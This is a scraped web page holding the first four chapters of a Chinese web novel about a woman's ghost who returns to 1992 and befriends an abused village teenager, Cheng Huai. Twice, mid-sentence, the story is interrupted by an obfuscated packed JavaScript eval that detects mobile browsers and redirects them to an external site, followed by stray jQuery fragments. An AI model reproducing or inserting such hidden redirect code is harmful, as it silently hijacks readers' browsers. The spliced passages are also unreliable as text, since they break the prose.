《《抚养贫穷大佬的那些年》》 1. 重生 1992年12月3日星期四。 天色暗沉,寒风呼啸。 一群人站在灵堂外的院子中,竖起耳朵听着灵堂中的动静。 “滚回去,狗逼玩意儿,这里又不是你家,你跟我们家又没有血缘关系,你走不走,不走老子今天把你腿打折!!” 简易搭建的灵堂旁边堆着小山高的烧火木棍,三十三岁的赵贵面露凶光,吐了口唾沫,走到柴火堆,扯出一根手腕粗的木棍,铆足了力气往面前跪着的少年脊背上狠狠抽去。 寒风里,瘦高的少年单薄得像一根竹竿,薄衣被风刮得猎猎作响。粗棍子一下又一下打在他身上,他唇角渗出血,却咬紧牙关不吭声。 “走不走?再问你一遍,走不走?”赵贵气急攻心,想到这兔崽子留在这里吃白饭,还可能要跟自己争房子,心中就越发气愤,手上也就越发使力。 赵贵的行径让在院中看热闹的人窃窃私语,有人道:“要不然咱进去劝一劝,这么打下去,哪还有个人样啊!” 站在人群中的周婶,此刻脸色有些惶恐,也有些后悔,毕竟当年是她把程淮这小子抱过来给赵屠户的,她害怕这小子万一今天真有个好歹,自己后半生都要不安心了,于是连忙说道:“我去把村长找过来主持公道,这赵贵是个没人性的,我们去不顶用,只有村长才能解决。” “快点去,这小子流了好多血。”有人赶紧催促周婶,大家望过去,果然发现少年此刻血渍浸满了破裤腿,脸色煞白。 周婶立马往村长家中赶去,一刻不敢耽误。 当年,她看自己闺中姐妹红英家里孩子多,又经常饥一顿饱一顿,就提议把她小儿子抱到赵屠户家中养着,赵屠户本来也有个儿子,但那小子不听话,十几岁离家出走,一直未归,赵屠户一个人孤单,就想收养个孩子给自己养老送终。 刚开始,红英不愿意,但是她生了一场大病后,家里人不送她去瞧医生,而是找些隔壁村的神棍来跳大神,她怕自己死后,年仅三岁的程淮没有人管,就咬咬牙答应了。 周婶极力撮合了此事,事成后,她收了赵屠户两百块钱和两块上好的排骨。 本来,这程家小子在赵家的日子也算过得去,赵屠户供他吃喝读书,还让他学手艺,可前几日,七十岁的赵屠户突发心悸去世了,他的儿子赵贵居然回来了。 赵贵想继承赵屠户的遗产,但程淮名义上还是赵家人,是上了赵屠户的户口本的,所以赵贵要想独占遗产,得先把程淮赶出门,自己才能独占房子,哪晓得程淮不肯走,赵贵就下死手打他,想逼他就范。可他偏偏不服软,打死不愿意走,也不求饶。 “你个死杂种,你原先进了我赵家门,却还不改姓,那就不是我赵家人,凭什么赖在这里不走!你个死野种!!给老子滚!!”赵贵气得破口大骂,手上愈发用力。 那清瘦的少年后背被赵贵打得皮开肉绽、血肉模糊,木棍劈在骨头上的声音让人心头一跳。 一群人站在院中,不敢吱声,没人敢上前去,听说那赵贵在外头是杀过人蹲过大牢的,谁敢去招惹?但是听着这敲打骨头的声音,村中心肠软的人,已经叹息着往回走了,不忍再看下去。 有人咽了口水,赞赏道:“嘿,好小子,这么能忍,挺过去,将来定大有出息。” 十几岁的程淮跪在不知名的乡野里挨打,但是三十八岁的程淮有大出息,身价过亿,在商场上叱咤风云,铁血手段,但是现在谁也不知道,只知道这小子是个有种的硬骨头。 寒冬凛冽,灵堂前台阶都结了一层霜冰,少年穿着薄薄一层单衣,脊背被一记记狠力抽打,他指节因攥拳而泛白,但面上表情却冷寂。 周婶走到村长家,说明了来意,王村长正在吃晚饭,听说了此事后,立马穿上外套往赵屠户家中赶。 打了一阵,赵贵实在是打得手酸软,哪晓得这死小子硬是不走,于是赵贵一脚将他踹翻在地,恶狠狠地威胁道:“不走是吧,不走老子有的是法子搞死你。” 赵贵又泄愤似地踢了几脚,阴恻恻小声道:“明天,最多明天,你要是还赖在这里不走,我就杀了你......”说完朝着里屋走去躺着了。 见赵贵停了打骂声,众人皆心头松了口气。 他们全神贯注在这打人场景里,现在才注意到灵堂前竟多了一只白色大蝴蝶,停在贡品边缘。 有人喊道:“这冬天竟然有白色的蝴蝶,真是稀奇!” 寒风呼啸后,片片小雪花开始往下落。 雪风刺骨,附身蝴蝶的黎朝朝,微颤的翅尖沾着光,缓缓睁开眼时,眸中映着满身血渍的少年。 她望着眼前冷清的眉眼,以及周围破败不堪的农村环境,一时有些恍惚,难以分辨真假。 自己不是死了吗? 莫非重生了? 不对,好像是借尸还魂了?! 借的还是一只蝴蝶的尸体?! 她低头望去,自己原本的双手化作轻薄的翅,四周的人在她眼中陡然高大如山,声音变得低沉而遥远,冷风拂过翅面,她像漂浮在空气里,既陌生又新奇。 这是在哪里?? 她怔忪时,看到了眼前身形瘦长的少年,颧骨突出,脸颊无一丝血色。 他咬紧牙关,竭力压住疼意,在一群看热闹人的注视中,慢慢撑着手肘坐了起来,还往旁边火盆里添了些火纸。 看着他有些熟悉的眉眼,黎朝朝大惊失色。 程淮?! 年少的程淮??? 黎朝朝两眼一黑,眼前无比清晰的触感让她知道眼前肯定不是幻境,自己竟回到了程淮更年轻的时候! 细碎的雪花飘落,黎朝朝目光落在他凌乱的发间和肩头。少年满身伤痕,却只是抬起眼,冷漠地扫向那些围观取乐的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549318|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目光像覆着冰,沉静而锋利。 围观的人群左顾右盼,不敢直视他犀利的目光。 李婶拽着村长跨进院子时,脚底踩断了几根结着冰的枯枝,声音在冷寂里格外清脆。 院子正中,少年跪坐在薄雪覆着的泥地上,面前一个生了锈的铁盆里,黄纸燃得噼啪作响。 雪花飘落,被火光融成水珠,顺着他鬓角流下,与血混在一起,蜿蜒没入衣领。 他肩膀斜斜塌着,衣袖被撕开一道口子,露出皮肉翻起的伤痕,血色在夜色里显得格外刺目。 那是刚被打过的痕迹,血肉模糊,却没听见他哼一声。 风卷起雪沫,扑灭了纸灰,却吹不散他手指的动作——一张又一张,将纸推入火里,神情沉静得像在做一件和自己无关的事。 火光映在他眼底,没有温度,只有冰封的平静。 王村长喉头滚了滚,心中叹息着上前:“程淮,你先起来。今日之事,是他赵贵不应该,怎么着都要让他给你个交代,我去找他替你讨个公道。” 说完又对周婶说:“芷兰,你去给他处理一下伤口,看看有没有事?带他去看看医生。” 王村长说完掀开了布帘进了屋。 周婶心中打鼓,程淮年纪轻轻,却老是眼神冰冷,一双眼犀利又寒冷,让人不敢贸然靠近,她在边上小心翼翼问道:“程淮,要不要跟婶子去看看医生啊?你吃饭没有?婶子给你煮点吃的?” “多谢周婶,不用了。”程淮没有抬眼,冷着回她。 小雪越下越密,有些雪花飘进灵堂落在他的肩头,很快覆了一层白。 周婶冷得打哆嗦,也不忍心再看程淮,毕竟当初是自己让他到了赵屠户家里,那赵屠户其实也不是个好东西,喝醉了喜欢动手打人,程淮常常被打得鼻青脸肿,周婶每次路过都只能假装看不见,现在看到程淮如此,更加心虚,只能叹口气,也只能安慰自己要不是她,程淮这小子早就已经在程家饿死了,哪还能活到现在。 程淮垂着眼,指节被血黏得发僵,却仍一张一张往火盆里递纸钱,他不走,不是想跟赵贵分财产,这本来就不属于他,他只是答应了赵屠户,要给他养老送终,跪灵堂扶棺木。 火舌卷着黄纸的边角,灰烬浮在血腥气里。他半边脸肿着,颧骨裂开的伤口凝着暗红,小颗血珠顺着下颌滴在衣领上,洇出几朵锈色的花。 忽然,火苗晃了一下。 一只白色蝴蝶停在盆沿,翅翼薄得透光,在热浪中轻轻颤动。 它离得太近,几乎要被灼伤,却固执地不肯飞走。 程淮盯着它,忽然扯了扯嘴角:“你也来看笑话?” 黎朝朝心头有些不好受,自己见过程淮不同的表情,有杀伐果断的,有温和的,有怜悯的,却独独没有这凉薄自嘲的表情。 他伸手去拨它,指尖还带着未干的血迹。 2. 借身 黎朝朝挥舞着翅膀,顺着程淮的手指往上爬,停在他染血的虎口处。 忽然,旁边布帘一掀,赵贵跟王村长出来了。 程淮猛地合拢手掌——却在最后一刻偏了方向,任由蝴蝶惊飞而起,消失在浓稠的夜色里。 火舌扑来,黎朝朝猛地朝外面飞去,实在是太......太……太烫了。 赵贵还是大声道:“村长,这个杂种我是打了就打了,该打,在我家吃了这么多白饭,打两顿怎么了。” 王村长无奈叹了口气:“赵贵啊,叔也是看着你长大的,也是看着这小子长大的,你不在的这几年,都是他帮着在家做农活,这屋子翻新他也出了不少力,这小子吃了很多苦嘞!” 黎朝朝心头一阵难过,前世她遇到程淮时,自己贫困潦倒,而他却事业有成,家财万贯,虽说自己在八卦杂志上看过,说他的幼时成长环境不是很好,却没想到如此般不堪。 王村长跟着赵贵说了许久,最终赵贵才说等赵屠户的灵柩上山入土后,再谈程淮的去留问题。 村长继续跟赵贵商量着着。 黎朝朝煽动着翅膀停在墙头,注意着灵堂前的动静。 忽然听见一阵小孩子交头接耳的声音。 她循声而去。 赵家院子不远处的树荫下,站着三个孩子。 一个打扮得十分精致的小女孩,大约十三四岁,身穿一件昂贵的城里洋裙,长发编成两条麻花辫,嘴角含着轻蔑的笑意。 在她身后,是两个穿着朴素的男孩子,看起来比她小一两岁,却对小女孩言听计从,唯唯诺诺。 “那野种还跪在灵堂前?”邹茜轻笑一声,声音里带着莫名的恶意。 “嗯,刚才还被赵老赖打了一顿,但他一点都没有哭。” “打得好,”她拨了拨额前的碎发,冷哼了一声。 “等我外公他们走了,我们去拿几只死老鼠扔到他怀里,看他哭不哭。” “会不会太过分了?”一个男孩犹豫道,“他毕竟才挨了一顿打……” “怕什么?我外公是这村里村长,他敢对我怎么样?”小女孩又冷哼一声,眼里掠过一丝兴奋,“他不过是个没爹没娘的野种,全村人只有他不把我放在眼里,就该给他点教训。” 另一个小男孩有些犹豫:“我们悄悄扔吗?要是他看到了,肯定会报复我们。” 邹茜拍了拍手掌,像下命令一样:“哼,怂蛋,看到是我又怎么样,就让他知道惹恼本小姐没有什么好下场……” 雪风寒凉,一片寂静。 大人们陆陆续续地回家了,赵贵朝着少年吐了一口唾沫,恶狠狠道:“既然你要在这里当孝子,那你就在灵堂前守着。” 说完就关了内屋的门,独独留下程淮。 程淮并不在意,他如今跪在这里,不是因为赵屠户对自己有多好,而是程淮要兑现自己的诺言,当初赵屠户答应送自己上学的条件,就是将来必须给他养老送终,一定要在灵堂钱跪着给他守灵。 程淮觉得这很公平,这个世界上不会有无缘无故的付出,既然赵屠户付出了,他就该得到自己的报答。 他不想亏欠任何人。 只是,程淮这两天没吃什么东西,又遭受风霜雨雪,有点染了风寒,身子有些吃不消。 另一边,两个小男孩翻上院墙,将几只死老鼠朝着灵堂前的少年狠狠掷去,少年没有什么太大的反应,只眉眼犀利地看过来。 这眼神有些凉,有些冷,令拿着老鼠的吴阳一时有些心虚。 邹茜走上前,给了心虚的吴阳一巴掌:“孬种,没出息。” 说着就要继续捡起地上的死老鼠往里头扔去。 黎朝朝看不惯这女孩子的作风,她极力飞去想要阻止,发现一股拉力扯着黎朝朝往小女孩身上靠拢。 等黎朝朝睁开眼时,发现自己已经钻到了小女孩的身体里。 她低头看着自己稚嫩的小手,心头莫名一紧,随即欣喜无比,自己能摸到实物了。 眼见两个小孩盯着他,其中一个孩子又要继续扔死老鼠,黎朝朝开口道:“喂,别扔了!” 吴阳和吴明望着她,不知所以。 黎朝朝赶忙道:“今天太晚了,先回家吧!你们以后都不许再朝他扔老鼠了,知道吗?” 两个孩子莫名其妙,觉得邹茜怎么有些不对劲,但她是城里来的大小姐,随心所欲,无恶不作,常常想一出是一出,很正常,即使两个人不理解,也只是摸了摸后脑勺后,就走了。 等两个小男孩远去后,黎朝朝深吸一口气,推开赵家院子的门,一步一步地走了进去。 小女孩的身子轻得像云,她没有控制好,险些摔跤,勉强稳住身形后,跌跌撞撞地朝里面走。 灵堂就在前头,烛火昏黄,香烟缭绕。 屋内跪着程淮,瘦得像一棵寒风里摇摆的小树。 他穿着一身黑布孝衣,头埋得很低,看不清脸上的表情。 黎朝朝站在门口看了他一眼,心突然揪紧。 她缓缓走近,试探喊道:“程淮?”。 程淮听到脚步声,沙哑着嗓子道:“走开!” 他实在是没有心情去应付任何人。 黎朝朝被吼得一愣,怔愣一瞬后,又继续朝他走去。 程淮低着头,有些难受,就在这时,忽然感觉掌心一轻。他愣住了,有一只小小的手,悄悄抓住了他的右手,掌心软软的、暖暖的。 随后,一样东西被轻轻地放入他掌中。 他一抬头,看见一个扎着短马尾的小女孩站在他面前,面容清清秀秀,眼神澄澈,没有说话。 他低头看了看自己手里的东西——是一块用纸包着的糖。 他怔住了。 他皱眉,他认识这个女孩子,好像叫邹茜,是村长的外孙女。 听说是城里有钱人家的女儿,因为父母意外双亡,只剩下她一个人,她爷爷奶奶怕她难受,所以让她回村里住一段日子,散散心。 因为她爷爷家有钱,所以在村里修了一栋别墅专门给她住,还请了两个保镖。但这个女孩子生性娇纵,无法无天,对人颐指气使。 她来的第一天,就要村里的孩子在她面前听使唤,路过的程淮也无辜中枪,只因为邹茜拦住他,要他去帮邹茜摘野果。 程淮忙着回家给赵屠户做饭,没有搭理邹茜,所以她非常生气,觉得自己的尊严受到了挑战,从那以后,就让村里的孩子处处针对他。 但程淮根本不在乎,他从来没有跟村里同龄的孩子一起说过话,一是没有时间,他要忙着帮赵屠户干活,当初赵屠户答应送他读书的条件之一,就是必须空闲时间要帮助干活,不能在家懒散,赵家不养闲人; 二是村里孩子都看不上他,觉得他是外乡人,说话有口音交流起来也有困难,再加上自己本来就不善言辞,觉得没有必要跟村里人打交道,所以邹茜让村里孩子针对自己,自己根本不在乎。 可眼下邹茜过来,其实是程淮没有想到的。 他也不关心,反正跟自己无关,说不定又是什么整蛊他的把戏罢了,他握着手里的糖,放在了一边。 以前,村里的孩子,也有人给过他糖,只不过,那是裹了农药的糖,所以,他从不相信突如其来的好意。 他没说话。 雪花飞舞中,黎朝朝望着身旁小小的程淮,她不自觉地流出眼泪,好多年了,真的好多年了,如今还能再见到活着的程淮,觉得此生无憾了,如果这是一场梦,请不要让这个梦醒来,黎朝朝默默祈祷着。 程淮看她满脸泪水,一脸悲伤地盯着自己,有些不解,但也没有说话,只是皱了皱眉头:“你哭什么?” 黎朝朝摇摇头,擦了擦眼泪,看到程淮单薄的衣衫,问他:“你冷不冷?这里太冷了,你先别跪了,我们到里面坐一下?” 说完,又把白色外套脱下来,准备披到程淮身上。 程淮抬手一挡,继续跪着:“不用了。” 黎朝朝不管三七二十一,把外套索性胡乱披在他身上,程淮把它拿下来,黎朝朝又给他披上,程淮拿下来后,黎朝朝又准备继续跟他杠。 如此反复几个循环后,两个大汉寻来,将黎朝朝带走了,顺便把她外套也拿走了。 黎朝朝凭借着身体原主人的记忆,知道这两个人是她雇佣的保镖,如果自己此时说不走,肯定会被发现端倪,万一去请道士来驱鬼,那就得不偿失,也不是怕死,主要是黎朝朝有些舍不得活的程淮,自己好久没有见到他了,一定不能被人破坏。 思及此,黎朝朝看了一眼程淮,依依不舍地跟着保镖回到了邹茜的别墅。 刚回到别墅,黎朝朝进了卧室,一躺下,就被一股力量挤了出来。 看着自己半透明的魂魄站在窗前,无论她怎么尝试,始终都进不去邹茜的身上,黎朝朝陷入了沉思。 啊??这上身还有时效性??? 翌日清晨。 邹茜睁开眼时,觉得自己屁股很酸痛 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秦兰一出门,秦兰的两个儿子就巴巴地来找邹茜,就是昨日跟邹茜在程淮门外密谋砸石头的两个男孩子,其中一个男孩子道:“今天我们还去吗?” 邹茜怨恨瞪了他们一眼:“去什么去,没看到我膝盖磨破了吗?” 吴明跟吴阳不敢说话,只能赔笑,他们深谙生存之道,如今自己的妈妈秦兰在邹茜家做工,邹茜虽然说话有时候很难听,骂自己狗腿子之类的词,但她很大方,有时候随手就能给一些糖果或者一些新奇的玩意儿,让村里的其他孩子羡慕不已。 —— 一大早,赵贵就起来骂骂咧咧,本想继续动手打程淮,但念在昨日王村长的警告,又忍住了。 赵贵哼了一声:“死小子,去,去问问村里的风水先生,我爹啥时候下葬,免得天天在我家吃白食不做事,呸,小杂种。” 说完又抬脚朝着程淮踹过去。 程淮阴着脸,一歪身子避开了。 赵贵踹了个空,差点摔倒,又要破口大骂。 程淮没搭理赵贵,起身往风水先生家中走去。 风水先生家住在村委旁边,程淮说了来由后,又拿出赵屠户的生辰八字,风水先生掐指算了算,说:“时间就定在大后日的早上五点。” 程淮得到确切的答案后,沉沉道了谢,慢慢往回走。 路过村口拐角处时,程淮看到一个身影迎面走来。 邹茜身后跟着一群孩子,穿得漂漂亮亮,却带着一股骄矜又恶毒的气息。 邹茜看见程淮,邪恶一笑,膝盖处本来就疼着,正愁着心里有气无处撒,上前拦住他。 他本想绕开,懒得理她,可她偏偏伸出一只胳膊,拦住了去路。 “喂,看到我不打招呼吗?”她扬起下巴,一脸嫌恶,“丧得跟条狗一样,丢不丢人啊?” 程淮脸一沉。 他声音低沉:“让开。” 邹茜却更起劲了:“哟,还敢凶我?你爷爷都死了,你现在是个没人要的可怜虫了,还想咬人啊?怎么,饿疯了?” 她又弯下身,尖细地笑了笑:“看看你的衣服,还不如我家的一条狗干净。” 程淮眉头一皱,为何她今日与昨晚完全不一样,昨天的她,眉眼之中透露着心疼,而现在的她眉眼里透着恶意。 也对,可能本就是她的捉弄而已,程淮自嘲地想着。 邹茜看他冷漠的表情,更加生气:“为什么不理我,你这个样子给谁看。” 就在这时—— 屋檐下一阵冷风掠过。 黎朝朝一直跟着邹茜,别人都看不见她,但是她却能看到眼前发生的事情。 她看着眼前年纪不大却心思重的女孩,说出的话,像淬了毒的刀子,去伤害程淮。黎朝朝只觉得心中不快,猛地伸出魂体的手,往邹茜的脖颈处一按! 下一瞬间—— 邹茜神情一滞,身体猛地一颤,像是被什么东西压制了一般,瞳孔猛然收缩,嘴唇动了动,却一个字也吐不出来。 她站在原地,满脸惊恐,忽然像被什么东西逼退了两步,跌坐在地,哆嗦着一句话都说不出来。 程淮一脸略微惊讶地看着邹茜。而她再没有像刚才那样嚣张跋扈,只是满身冷汗,像见了鬼一样连滚带爬地逃走了。 程淮眉头紧蹙,看着她的背影,内心说不出的古怪与疑惑。 发生了什么吗? 算了,不关自己的事情。 他面无表情的走了。 3. 投喂 邹茜吓得跑走后,往村委去找了村长王栋国。 王栋国今年五十八岁,为人和蔼正直,热心肠,是村里公认的好人,才选了他当村长,平时谁家有事,只要找到他,他都会帮上一把。 但他也有自己的烦恼,他有个心比天高的小女儿,小女儿执意嫁给了城里一个已婚的大老板,她逼得大老板离婚后,跟他结婚领证,生下了邹茜。 因为王栋国一直反对这桩婚事,把小女儿逐出了家门,结果小女儿成婚后,一直没有回家来看过。 后来,听说小女儿跟邹茜的爸爸出车祸死了,所以她中海市的爷爷想认个亲,让邹茜回来散散心。 王栋国老来丧女,心中悲痛万分,看着邹茜,想到了自己已经去世的小女儿,所以尽管邹茜性子骄纵,非常不尊重人,自己也还是很疼她。 邹茜匆匆跑了一阵,脸色苍白,看到正在村委旁边锄地的王栋国,开口就是:“老……老头。” 王栋国抬头,发现邹茜一脸惊魂未定的样子,吓得赶紧询问:“怎么了,茜茜?” “有鬼,有鬼......”邹茜神神叨叨,惊魂未定。 王栋国是老一辈带大的人,坚信世界之大无奇不有,人要有敬畏鬼神之心。 等他问清了事情的来龙去脉,以为是最近村里死了的赵屠户不安生,于是连忙安慰道:“茜茜,别怕,外公带你去找向师傅画符纸。” 说完带她去了镇上的向师傅家里,向朝天技艺精湛,画符驱邪颇有些名头,与自己是多年好友,所以王栋国家里人每逢有什么大事,都会请他来看看风水。 结果不巧,向朝天不在家,只有他的大孙子向峰在,向峰喜欢跟狐朋狗友一起花天酒地,这不,在外溜达了半个月后,刚从县城回来,主要是没钱了,才想回来找自己爷爷搞点钱。 可他爷爷去台湾探亲不在家,而自己翻遍所有抽屉,没找到一分钱,正要破口大骂,发现王村长拉着他外孙女来画符,于是灵机一动。 “王村长,我平时跟着爷爷,也学了几手,要不我来画?” 王栋国犯了难,看着眼前的黄毛,心里多少还是有些不信任。 向峰拍拍胸脯道:“放心,我手艺不差,这样,我收你半价,成不?” 王栋国看着一脸害怕的邹茜,叹了口气:“行吧,你好好画。” 向峰心中暗自发笑,装模做样拿起几张符纸,拿出毛笔,随便来来去去上上下下画了些。 看着自己的鬼画符,他一本正经地瞎说了一通,嘱咐邹茜晚上要把房间里的镜子搬出去,符纸要贴在窗户和门上,最近晚上几点后不能出门,以及其他一些自己乱编的禁忌等。 邹茜看他讲得头头是道,深信不疑。 王栋国付了钱,带着邹茜回家,问她:“茜茜,你要是害怕,不然跟我回去,住在外公家里?” 邹茜想到了窄小的土屋子,还有王栋国新娶的村妇老婆一脸谄媚样子,让自己心头膈应,她才不要住在那种臭黑臭黑的屋子里,还要跟那种喜欢拍马屁的女人一起住,于是摇摇头,往自己的别墅走回去了。 晚上,黎朝朝来找熟睡的邹茜时,发现她身上贴了许多黄色符纸。 黎朝朝笑了笑:“小丫头,下次别去找村里的神棍了,这一行水很深,有许多骗子。” 接着,往前一步,立马就上了邹茜的身。 黎朝朝悄悄起床,穿上外套和裤子,先去客厅的冰箱里拿了些吃的,接着从二楼的窗户慢慢往下爬。 她屏着呼吸,躲开院子门口打盹的保镖,踩着厚厚的雪朝着赵家跑去。 夜色深沉,雪片静静地落下,天地之间仿佛只剩下白茫茫的一片。 黎朝朝怀里紧紧抱着一个鼓鼓囊囊的塑料袋,里面装着牛奶糖、火腿肠,这是她刚才在邹茜家里搜刮的。 到了赵家小院,院门虚掩着,屋里烛火半燃,而灵堂前空无一人。 咦,程淮呢? 黎朝朝咬着唇,雪花扑簌簌地打在睫毛上。她迟疑片刻,顺着小路往后山去。 她也不知为何要朝着后山去,只是心中有一种感觉,也许程淮在山上呢。 后山风大,树枝压满积雪,她寻了半个时辰,还是没有看到程淮。 忽然,远处隐隐传来“簌簌”的声响,黎朝朝朝着声音传来出走去,果然看见程淮,他衣衫单薄,蹲在雪地里。 他面前燃着树枝搭成的火堆,上面放着两个皱巴巴干瘪瘪的小土豆,外皮已经被烤得发黑。 火光在风雪里摇摇欲坠,他的脸映在火堆前,半明半灭。 “找到你了!”黎朝朝脸上有些薄汗,看到他有些开心。 程淮猛地抬头,眼神锋利如刀。见到她,他先是愣了愣,随即眸子沉暗:“是你?你来做什么?” 黎朝朝鼻尖被冻得通红,她把怀里的食物小心翼翼地掏出来,伸到他面前:“还能做什么,当然是来给你送吃的咯。” 说完一屁股坐在程淮旁边,眼神亮晶晶地看着他。 程淮并没有伸手接她递过来的东西,看着她又露出跟白天不一样的表情,神情有些冷漠:“如果你是来嘲笑我的,你可以走了。” 黎朝朝心口一紧,想着应该是白日里邹茜对程淮的羞辱,才让他如此气愤。 思及此,黎朝朝笑了笑,把食物放在雪地里,拍了拍手:“笑什么笑,天大地大,吃饭最大,人民当家做主吃饱饭才多少年,谁敢笑吃不饱的人,我曾经也挨过饿,我知道那滋味不好受。” 黎朝朝小时候住在乡下的外婆家,外婆去省城动手术那段日子,她跟舅妈一起住,舅妈有些看不惯她,经常不给她留饭,所以她有时候晚上都不吃晚饭,实在饿了也只能喝点热水来撑肚子,那挨饿的滋味,实在是不好受。 风呼啸着吹过,程淮发丝凌乱,听到她说这些话的口吻和语气,实在跟白天判若两人,说不定她就是来捉弄自己的,他眼底有冷意,嗓音沙哑道:“你回去吧,别来找我,我不饿,也不需要你的施舍。” 黎朝朝嘿了一声,心道这小时候的程淮戒备心这么重吗??? “放心吧,我没有耍你,这个真的是拿来给你吃的,你吃不吃?”说完,拨开一个火腿肠,伸到他旁边。 程淮的唇紧抿着,眼神阴冷,始终没有伸手,而是拿着一个干树枝去掏已经糊了两个小土豆。 等他把小土豆掏出来,晾了一会,剥完皮后,黑乎乎的小土豆已经只剩下一点点了。 黎朝朝眼疾手快,直接上手去把他的土豆抢过来,全部吃进嘴里,小土豆外面糊了,但是里面还半生不熟,吃得黎朝朝眉头紧皱,又被烫到舌头了,嘴里不断哈着气散热。 雪落在程淮的头发上,他面色不好,盯着黎朝朝:“你这是在做什么?” 黎朝朝拿起刚才剥开的火腿肠,道:“快,快,快吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549320|186755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !!我现在反正已经吃了你的,那你也要吃我的。” 话音未落,火腿肠已经被她直接塞到他唇边。程淮猛地一愣,下意识侧过脸,眼神里满是不信与抵触:“我说了,我不吃——” 可黎朝朝又往前一点,把那根火腿肠硬生生塞到了他嘴里。 雪夜寂静,只有她呼吸急促的声音。 程淮僵在那里,眉心拧得死紧。 半晌,他终于咬下一口,可脸色难堪得像是吞了刀子一般。 那一瞬,他眼中闪过挣扎与尴尬,可最终还是咽下去了。 他厌恶自己此刻的软弱,却又不忍心糟蹋粮食,把粮食吐出来。 黎朝朝见状,眸子一亮:“你看,你饿了嘛,诚实一点,少年。” 程淮偏过头:“你为什么要给我吃的?” 他的声音很低,像被风雪压住,却又带着压抑不住的别扭与困惑。 黎朝朝眨了眨眼,盯着他冻得泛红的脸庞,觉得有些好笑,小时候的程淮竟然这么别扭。 “因为我不想看你饿肚子。” 程淮怔了一下,眼神骤然变得更冷,嘴角甚至牵起一丝嘲弄的弧度:“说吧,你想让我做什么?” 赵屠户脾气不好,还酗酒,有时候出门跟人喝酒,便会把家里的橱柜锁上,厨房里找不到吃的,程淮会去山里摘野果饱腹,有时候村里人也会给他吃食,但是每一次给完后,都会提出要求,比如让他去上山砍柴,堆满猪圈,或者是下雪天去水里捞鱼,又或者帮忙做两条农活。虽然自己力气大,但是偶尔也会受伤发烧,但没人关心,因为天下没有白吃的午餐。 其实,他很讨厌这种示好,带着很强的目的性。 他想着,猛地想把那半截火腿肠吐出来,可喉咙里已经咽下去,胃里空荡荡的地方正被一点点填满。 他心底泛起的那股复杂感,让他烦躁到极点。 黎朝朝心里也有些不是滋味,她靠近了一些,再把剩下的火腿肠剥干净,捏在手里,小手冻得发红,固执地伸到他面前:“我不需要你做什么,我是……想和你做朋友。” “朋友?” 程淮嗤笑一声,眼神阴鸷,冷冷盯着她:“你知道我是谁吗?村里人避之不及,就怕沾上我,你要来做什么朋友?” 赵屠户在村子里声名狼藉,他坐过牢,杀过人,出来后以杀猪为生,为人凶狠,许多人都不敢招惹他。 程淮在他家长大,经常会帮他一起杀猪,所以许多人孩子根本不敢靠近他招惹他,加上自己少言寡语,所以大家都觉得他也是个凶恶的人,就连村里的很多大人,也不会无缘无故地跟他讲话,要么就是蔑视,要么就是打听赵屠户的收入,赵屠户也不喜欢程淮跟别人说太多话。 有一次,村长家在果地里摘梨子,看到程淮路过,给了他一筐梨子,还问了他很多关于学习方面的事情,结果赵屠户看到了,回去把程淮打得鼻青脸肿,再到后来,基本程淮没有怎么跟村里人说过话,跟别提交朋友了。 黎朝朝仰起脸,灿烂地笑了笑。 “他们是他们,我是我,少年,做人不能以偏概全。” 说完,她又将另一根火腿肠凑到他唇边,豪迈道:“来,吃,咱今天把它全部吃完,不然我提着回去多费劲,快吃!” 夜风裹着雪花打在程淮单薄的衣衫上,他抿着唇,看着眼前执意给他吃的小女孩,心中有一股说不上来的滋味。 4. 死人 天快亮时,黎朝朝与程淮下了山,下山后,她马不停蹄赶回了邹家,从栅栏翻进去后,顺着墙爬上去进屋,躺在床上,动作一气呵成,然后沉沉睡去。 天亮后,邹茜醒来时,觉得浑身酸痛,尤其是脚,仿佛都不是自己的,联想到这几日的异常,吓得脸色苍白,直直在房里尖叫大喊。 其他人赶忙进来,保镖和秦兰连番安慰,邹茜才渐渐冷静下来。 冷静下来后,她怒气冲冲去了镇上,找到了黄毛向峰,大声质问:“为什么没用?” 向峰各种狡辩解释,忽悠邹茜,说肯定是因为用法不对,说完又推荐了几款木剑,还重新画了一叠黄符,又收了邹茜伍佰元。 或许是由于某种特殊原因,黎朝朝的魂魄不自觉地跟在邹茜旁边,她本想去飘去程淮身边,看看他白天在做什么,但是总是有股莫名的拉力将她拉回到邹茜身边,所以邹茜走到哪里,黎朝朝就飘在哪里,看着眼前这一切,她只觉得心中无比好笑。 那个年代的伍佰元,对于向峰来说,实在是一笔巨款了,所以邹茜给钱的时候,恶狠狠瞪他:“要是让我发现你这些破烂还是没有用,我一定要你在这个镇上消失。” 黄毛向峰心里咯噔一下,不过随即点头哈腰送走了邹茜,心里暗道:“老子在原地等你,我就是个哈麻皮。”说完立马收拾衣物,搭上了去省城的大巴车。 邹茜遇到这种事情,心里很不是滋味,想找点乐子排解一下郁闷的心情。 刚好看到远处而来的两个男孩子。这是秦兰的两个儿子,平时喜欢跟在自己身边,邹茜觉得他们就是两条蠢狗,只会摇尾乞怜,不过,还算听话,所以她勾勾手指,问:“哪里可以摸鱼?” 看着天色阴沉,恐怕有大雨,吴明抢先开口答道:“大小姐,山后有一条河,那里可以摸鱼,只是现在可能要下雨,不安全,要不改天去?” 